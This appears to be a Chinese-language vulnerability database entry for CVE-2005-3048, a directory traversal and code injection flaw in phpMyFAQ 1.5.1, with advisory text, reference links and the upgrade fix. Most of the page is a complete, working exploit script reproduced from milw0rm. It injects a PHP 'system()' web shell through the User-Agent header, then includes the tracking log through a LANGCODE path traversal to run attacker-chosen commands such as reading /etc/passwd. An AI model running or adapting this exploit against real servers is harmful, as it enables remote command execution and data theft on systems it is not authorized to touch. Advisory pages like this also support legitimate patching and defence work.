CVE-2005-3048
CVSS6.4
发布时间 :2005-09-23 20:03:00
修订时间 :2016-10-17 23:32:32
NMCOE    

[原文]Directory traversal vulnerability in index.php in PhpMyFaq 1.5.1 allows remote attackers to read arbitrary files or include arbitrary PHP files via a .. (dot dot) in the LANGCODE parameter, which also allows direct code injection via the User Agent field in a request packet, which can be activated by using LANGCODE to reference the user tracking data file.


[CNNVD]PhpMyFaq index.php目录遍历漏洞(CNNVD-200509-244)

        phpMyFAQ是一个多语言,完全数据库驱动的FAQ系统。它支持多种数据库来存储所有数据。
        PhpMyFaq 1.5.1的index.php脚本中存在目录遍历漏洞,远程攻击者可以通过LANGCODE参数中的".."(参数中包含'..')读取任意文件或包含任意PHP文件,并且,通过请求数据包中的User Agent字段可以实现直接代码注入。使用LANGCODE激活此功能用以查阅用户跟踪数据文件。

- CVSS (基础分值)

CVSS分值: 6.4 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3048
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3048
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200509-244
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=112749230124091&w=2
(UNKNOWN)  BUGTRAQ  20050922 PhpMyFAQ 1.5.1 multiple vulnerabilities
http://rgod.altervista.org/phpmyfuck151.html
(UNKNOWN)  MISC  http://rgod.altervista.org/phpmyfuck151.html

- 漏洞信息

PhpMyFaq index.php目录遍历漏洞
中危 路径遍历
2005-09-23 00:00:00 2005-10-20 00:00:00
远程  
        phpMyFAQ是一个多语言,完全数据库驱动的FAQ系统。它支持多种数据库来存储所有数据。
        PhpMyFaq 1.5.1的index.php脚本中存在目录遍历漏洞,远程攻击者可以通过LANGCODE参数中的".."(参数中包含'..')读取任意文件或包含任意PHP文件,并且,通过请求数据包中的User Agent字段可以实现直接代码注入。使用LANGCODE激活此功能用以查阅用户跟踪数据文件。

- 公告与补丁

        

- 漏洞信息 (1226)

phpMyFAQ <= 1.5.1 (User-Agent) Remote Shell Injection Exploit (EDBID:1226)
php webapps
2005-09-23 Verified
0 rgod
N/A [点击下载]
<?php
#   17.34 22/09/2005                                                           #
#                                                                              #
#   phpmyfaq_xpl.php                                                           #
#                                                                              #
#   PhpMyFaq 1.5.1 ( possibly prior versions) shell inject                     #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in your php.ini if you have troubles                    #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   if magic_quotes_gpc is off, boom! you launch commands...                   #
#                                                                              #
#   Sun-tzu: "When in difficult country, do not encamp. In country where high  #
#   roads intersect, join hands with your allies. Do not linger in dangerously #
#   isolated positions. In hemmed-in situations, you must resort to stratagem. #
#   In desperate position, you must fight."                                    #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head> <title> PhpMyFAQ 1.5.1  remote  commands  execution  </title> <meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6">     PhpMyFAQ
V  1.5.1 (possibly prior versions) remote commands execution  </p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org"    target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text"   name="host">
<span class="Stile5">  hostname  (ex: www.sitename.com)  </span>  </p> <p><input
type="text" name="path"><span class="Stile5">  path ( ex:  /phpmyfaq/ or just /)
</span></p><p><input type="text"   name="port" >   <span class="Stile5"> specify
a port other than 80 (default value)  </span></p><p> <input  type="text"   name=
"command"> <span  class="Stile5"> a  Unix  command  ,  example:  ls -la  to list
directories, cat /etc/passwd to show passwd file </span></p><p><input type="text
" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:por
t</span></p> <p> <input  type="submit"name="Submit" value="go!"></p></form></td>
</tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).' -> not a valid proxy...';
	     die;
	    }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path<>'') and ($host<>'') and ($command<>''))
{
  if ($port=='') {$port=80;}

# STEP 1 -> Shell Inject...
if ($proxy=='')
{$packet="GET ".$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 \r\n";}

$packet.='User-Agent: <?php system($HTTP_GET_VARS[cmd]) ?><?php die ?>'."\r\n";
//you cannot insert ";" because it is stripped, so insert more statements
//if you change the shell, keep attemption to php syntax, if you make an error,
//you cannot lauch commands till tomorrow, I am not joking ;)

$packet.="Accept-Language: pl\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: gzip,deflate\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: lang=it; sid=49493\r\n";
show($packet);
sendpacket($packet);

# STEP 2 -> Include the log file and launch commands...
if ($proxy=='')
{$packet="GET ".$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";}
$packet.='User-Agent: Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko)'."\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: gzip,deflate\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: lang=it; sid=49493\r\n";
show($packet);
sendpacket($packet);
}
else
{
echo '<br>fill in requested fields, optionally specify a proxy...<br><br>';
}
?>

# milw0rm.com [2005-09-23]
		

- 漏洞信息

19669
phpMyFAQ index.php LANGCODE Parameter Traversal Arbitrary File Access
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality
Exploit Public Vendor Verified

- 漏洞描述

phpMyFAQ contains a flaw that allows a remote attacker to access arbitrary files outside of the web path. The issue is due to the index.php script not properly sanitizing user input, specifically traversal style attacks (../../) supplied via the 'LANGCODE' variable.

- 时间线

2005-09-22 Unknow
2005-09-22 Unknow

- 解决方案

Upgrade to version 1.5.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站